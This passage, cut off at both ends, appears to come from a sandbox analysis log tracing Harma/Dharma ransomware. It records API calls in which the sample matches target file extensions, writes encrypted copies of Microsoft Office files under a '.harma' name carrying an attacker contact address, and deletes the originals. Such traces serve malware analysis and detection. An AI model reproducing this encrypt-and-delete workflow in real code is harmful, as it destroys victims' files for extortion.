Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK") returned 66 [0157.448] lstrlenW (lpString=".doc") returned 4 [0157.448] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0157.448] lstrlenW (lpString=".docx") returned 5 [0157.448] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0157.448] lstrlenW (lpString=".pdf") returned 4 [0157.448] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0157.448] lstrlenW (lpString=".xls") returned 4 [0157.448] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0157.448] lstrlenW (lpString=".xlsx") returned 5 [0157.449] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0157.449] lstrlenW (lpString=".ppt") returned 4 [0157.449] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0157.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK") returned 66 [0157.449] lstrlenW (lpString=".zip") returned 4 [0157.449] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0157.449] lstrlenW (lpString=".rar") returned 4 [0157.449] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0157.449] lstrlenW (lpString=".bz2") returned 4 [0157.449] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0157.449] lstrlenW (lpString=".7z") returned 3 [0157.449] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0157.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK") returned 66 [0157.449] lstrlenW (lpString=".dbf") returned 4 [0157.449] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0157.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK") returned 66 [0157.449] lstrlenW (lpString=".1cd") returned 4 [0157.449] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0157.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK") returned 66 [0157.449] lstrlenW (lpString=".jpg") returned 4 [0157.449] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0157.449] lstrcmpiW (lpString1=".HXK", lpString2=".harma") returned 1 [0157.449] lstrlenW (lpString="MSACCESS_K_COL.HXK") returned 18 [0157.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0157.451] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=113) returned 1 [0157.451] CloseHandle (hObject=0x210) returned 1 [0157.451] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_k_col.hxk")) returned 0x20 [0157.452] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_k_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0157.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0157.452] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.452] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_k_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0157.453] GetLastError () returned 0x0 [0157.453] ReadFile (in: hFile=0x210, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x71, lpOverlapped=0x0) returned 1 [0157.454] WriteFile (in: hFile=0x20c, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0x80, lpOverlapped=0x0) returned 1 [0157.454] ReadFile (in: hFile=0x210, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0157.455] WriteFile (in: hFile=0x20c, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xf8, lpOverlapped=0x0) returned 1 [0157.455] SetEndOfFile (hFile=0x20c) returned 1 [0157.455] CloseHandle (hObject=0x20c) returned 1 [0157.455] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.455] SetEndOfFile (hFile=0x210) returned 1 [0157.457] CloseHandle (hObject=0x210) returned 1 [0157.457] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0157.458] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_k_col.hxk")) returned 1 [0157.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK") returned 66 [0157.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK") returned 66 [0157.458] lstrlenW (lpString=".doc") returned 4 [0157.458] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0157.458] lstrlenW (lpString=".docx") returned 5 [0157.458] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0157.458] lstrlenW (lpString=".pdf") returned 4 [0157.458] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0157.458] lstrlenW (lpString=".xls") returned 4 [0157.458] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0157.458] lstrlenW (lpString=".xlsx") returned 5 [0157.458] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0157.458] lstrlenW (lpString=".ppt") returned 4 [0157.458] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0157.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK") returned 66 [0157.459] lstrlenW (lpString=".zip") returned 4 [0157.459] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0157.459] lstrlenW (lpString=".rar") returned 4 [0157.459] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0157.459] lstrlenW (lpString=".bz2") returned 4 [0157.459] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0157.459] lstrlenW (lpString=".7z") returned 3 [0157.459] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0157.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK") returned 66 [0157.459] lstrlenW (lpString=".dbf") returned 4 [0157.459] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0157.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK") returned 66 [0157.459] lstrlenW (lpString=".1cd") returned 4 [0157.459] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0157.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK") returned 66 [0157.459] lstrlenW (lpString=".jpg") returned 4 [0157.459] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0157.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK") returned 66 [0157.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK") returned 66 [0157.459] lstrlenW (lpString=".doc") returned 4 [0157.459] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0157.459] lstrlenW (lpString=".docx") returned 5 [0157.459] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0157.459] lstrlenW (lpString=".pdf") returned 4 [0157.459] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0157.459] lstrlenW (lpString=".xls") returned 4 [0157.459] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0157.459] lstrlenW (lpString=".xlsx") returned 5 [0157.459] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0157.459] lstrlenW (lpString=".ppt") returned 4 [0157.460] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0157.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK") returned 66 [0157.460] lstrlenW (lpString=".zip") returned 4 [0157.460] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0157.460] lstrlenW (lpString=".rar") returned 4 [0157.460] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0157.460] lstrlenW (lpString=".bz2") returned 4 [0157.460] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0157.460] lstrlenW (lpString=".7z") returned 3 [0157.460] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0157.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK") returned 66 [0157.460] lstrlenW (lpString=".dbf") returned 4 [0157.460] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0157.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK") returned 66 [0157.460] lstrlenW (lpString=".1cd") returned 4 [0157.460] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0157.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK") returned 66 [0157.460] lstrlenW (lpString=".jpg") returned 4 [0157.460] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0157.460] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0157.460] lstrlenW (lpString="MSAIN.DLL") returned 9 [0157.460] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msain.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0157.461] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=1212288) returned 1 [0157.461] CloseHandle (hObject=0x210) returned 1 [0157.461] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msain.dll")) returned 0x20 [0157.461] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msain.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0157.461] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msain.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0157.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL") returned 57 [0157.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL") returned 57 [0157.461] lstrlenW (lpString=".doc") returned 4 [0157.461] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0157.461] lstrlenW (lpString=".docx") returned 5 [0157.461] lstrcmpiW (lpString1=".docx", lpString2="N.DLL") returned -1 [0157.461] lstrlenW (lpString=".pdf") returned 4 [0157.461] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0157.462] lstrlenW (lpString=".xls") returned 4 [0157.462] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0157.462] lstrlenW (lpString=".xlsx") returned 5 [0157.462] lstrcmpiW (lpString1=".xlsx", lpString2="N.DLL") returned -1 [0157.462] lstrlenW (lpString=".ppt") returned 4 [0157.462] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0157.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL") returned 57 [0157.462] lstrlenW (lpString=".zip") returned 4 [0157.462] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0157.462] lstrlenW (lpString=".rar") returned 4 [0157.462] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0157.462] lstrlenW (lpString=".bz2") returned 4 [0157.462] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0157.462] lstrlenW (lpString=".7z") returned 3 [0157.462] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0157.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL") returned 57 [0157.462] lstrlenW (lpString=".dbf") returned 4 [0157.462] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0157.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL") returned 57 [0157.462] lstrlenW (lpString=".1cd") returned 4 [0157.462] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0157.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL") returned 57 [0157.462] lstrlenW (lpString=".jpg") returned 4 [0157.462] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0157.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL") returned 57 [0157.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL") returned 57 [0157.462] lstrlenW (lpString=".doc") returned 4 [0157.462] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0157.462] lstrlenW (lpString=".docx") returned 5 [0157.462] lstrcmpiW (lpString1=".docx", lpString2="N.DLL") returned -1 [0157.462] lstrlenW (lpString=".pdf") returned 4 [0157.463] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0157.463] lstrlenW (lpString=".xls") returned 4 [0157.463] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0157.463] lstrlenW (lpString=".xlsx") returned 5 [0157.463] lstrcmpiW (lpString1=".xlsx", lpString2="N.DLL") returned -1 [0157.463] lstrlenW (lpString=".ppt") returned 4 [0157.463] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0157.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL") returned 57 [0157.463] lstrlenW (lpString=".zip") returned 4 [0157.463] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0157.463] lstrlenW (lpString=".rar") returned 4 [0157.463] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0157.463] lstrlenW (lpString=".bz2") returned 4 [0157.463] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0157.463] lstrlenW (lpString=".7z") returned 3 [0157.463] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0157.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL") returned 57 [0157.463] lstrlenW (lpString=".dbf") returned 4 [0157.463] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0157.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL") returned 57 [0157.463] lstrlenW (lpString=".1cd") returned 4 [0157.463] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0157.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL") returned 57 [0157.463] lstrlenW (lpString=".jpg") returned 4 [0157.463] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0157.463] lstrcmpiW (lpString1=".ACL", lpString2=".harma") returned -1 [0157.463] lstrlenW (lpString="MSO.ACL") returned 7 [0157.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mso.acl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0157.678] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=37762) returned 1 [0157.678] CloseHandle (hObject=0x20c) returned 1 [0157.727] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mso.acl")) returned 0x20 [0157.727] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mso.acl.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0157.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mso.acl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0157.727] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.728] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mso.acl.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0157.770] GetLastError () returned 0x0 [0157.770] ReadFile (in: hFile=0x20c, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x9382, lpOverlapped=0x0) returned 1 [0157.784] WriteFile (in: hFile=0x388, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x9390, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0x9390, lpOverlapped=0x0) returned 1 [0157.786] ReadFile (in: hFile=0x20c, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0157.786] WriteFile (in: hFile=0x388, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0157.786] SetEndOfFile (hFile=0x388) returned 1 [0157.786] CloseHandle (hObject=0x388) returned 1 [0157.786] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.786] SetEndOfFile (hFile=0x20c) returned 1 [0157.789] CloseHandle (hObject=0x20c) returned 1 [0157.789] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0157.789] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mso.acl")) returned 1 [0157.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL") returned 55 [0157.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL") returned 55 [0157.790] lstrlenW (lpString=".doc") returned 4 [0157.790] lstrcmpiW (lpString1=".doc", lpString2=".ACL") returned 1 [0157.790] lstrlenW (lpString=".docx") returned 5 [0157.790] lstrcmpiW (lpString1=".docx", lpString2="O.ACL") returned -1 [0157.790] lstrlenW (lpString=".pdf") returned 4 [0157.790] lstrcmpiW (lpString1=".pdf", lpString2=".ACL") returned 1 [0157.790] lstrlenW (lpString=".xls") returned 4 [0157.790] lstrcmpiW (lpString1=".xls", lpString2=".ACL") returned 1 [0157.790] lstrlenW (lpString=".xlsx") returned 5 [0157.790] lstrcmpiW (lpString1=".xlsx", lpString2="O.ACL") returned -1 [0157.790] lstrlenW (lpString=".ppt") returned 4 [0157.790] lstrcmpiW (lpString1=".ppt", lpString2=".ACL") returned 1 [0157.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL") returned 55 [0157.790] lstrlenW (lpString=".zip") returned 4 [0157.790] lstrcmpiW (lpString1=".zip", lpString2=".ACL") returned 1 [0157.791] lstrlenW (lpString=".rar") returned 4 [0157.791] lstrcmpiW (lpString1=".rar", lpString2=".ACL") returned 1 [0157.791] lstrlenW (lpString=".bz2") returned 4 [0157.791] lstrcmpiW (lpString1=".bz2", lpString2=".ACL") returned 1 [0157.791] lstrlenW (lpString=".7z") returned 3 [0157.791] lstrcmpiW (lpString1=".7z", lpString2="ACL") returned -1 [0157.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL") returned 55 [0157.791] lstrlenW (lpString=".dbf") returned 4 [0157.791] lstrcmpiW (lpString1=".dbf", lpString2=".ACL") returned 1 [0157.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL") returned 55 [0157.791] lstrlenW (lpString=".1cd") returned 4 [0157.791] lstrcmpiW (lpString1=".1cd", lpString2=".ACL") returned -1 [0157.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL") returned 55 [0157.791] lstrlenW (lpString=".jpg") returned 4 [0157.791] lstrcmpiW (lpString1=".jpg", lpString2=".ACL") returned 1 [0157.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL") returned 55 [0157.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL") returned 55 [0157.791] lstrlenW (lpString=".doc") returned 4 [0157.791] lstrcmpiW (lpString1=".doc", lpString2=".ACL") returned 1 [0157.791] lstrlenW (lpString=".docx") returned 5 [0157.791] lstrcmpiW (lpString1=".docx", lpString2="O.ACL") returned -1 [0157.791] lstrlenW (lpString=".pdf") returned 4 [0157.791] lstrcmpiW (lpString1=".pdf", lpString2=".ACL") returned 1 [0157.791] lstrlenW (lpString=".xls") returned 4 [0157.791] lstrcmpiW (lpString1=".xls", lpString2=".ACL") returned 1 [0157.791] lstrlenW (lpString=".xlsx") returned 5 [0157.791] lstrcmpiW (lpString1=".xlsx", lpString2="O.ACL") returned -1 [0157.791] lstrlenW (lpString=".ppt") returned 4 [0157.791] lstrcmpiW (lpString1=".ppt", lpString2=".ACL") returned 1 [0157.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL") returned 55 [0157.792] lstrlenW (lpString=".zip") returned 4 [0157.792] lstrcmpiW (lpString1=".zip", lpString2=".ACL") returned 1 [0157.792] lstrlenW (lpString=".rar") returned 4 [0157.792] lstrcmpiW (lpString1=".rar", lpString2=".ACL") returned 1 [0157.792] lstrlenW (lpString=".bz2") returned 4 [0157.792] lstrcmpiW (lpString1=".bz2", lpString2=".ACL") returned 1 [0157.792] lstrlenW (lpString=".7z") returned 3 [0157.792] lstrcmpiW (lpString1=".7z", lpString2="ACL") returned -1 [0157.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL") returned 55 [0157.792] lstrlenW (lpString=".dbf") returned 4 [0157.792] lstrcmpiW (lpString1=".dbf", lpString2=".ACL") returned 1 [0157.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL") returned 55 [0157.792] lstrlenW (lpString=".1cd") returned 4 [0157.792] lstrcmpiW (lpString1=".1cd", lpString2=".ACL") returned -1 [0157.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL") returned 55 [0157.792] lstrlenW (lpString=".jpg") returned 4 [0157.792] lstrcmpiW (lpString1=".jpg", lpString2=".ACL") returned 1 [0157.792] lstrcmpiW (lpString1=".HXC", lpString2=".harma") returned 1 [0157.792] lstrlenW (lpString="MSPUB_COL.HXC") returned 13 [0157.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0157.811] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=621) returned 1 [0157.811] CloseHandle (hObject=0x20c) returned 1 [0157.811] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxc")) returned 0x20 [0157.811] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxc.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0157.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0157.812] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.812] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft 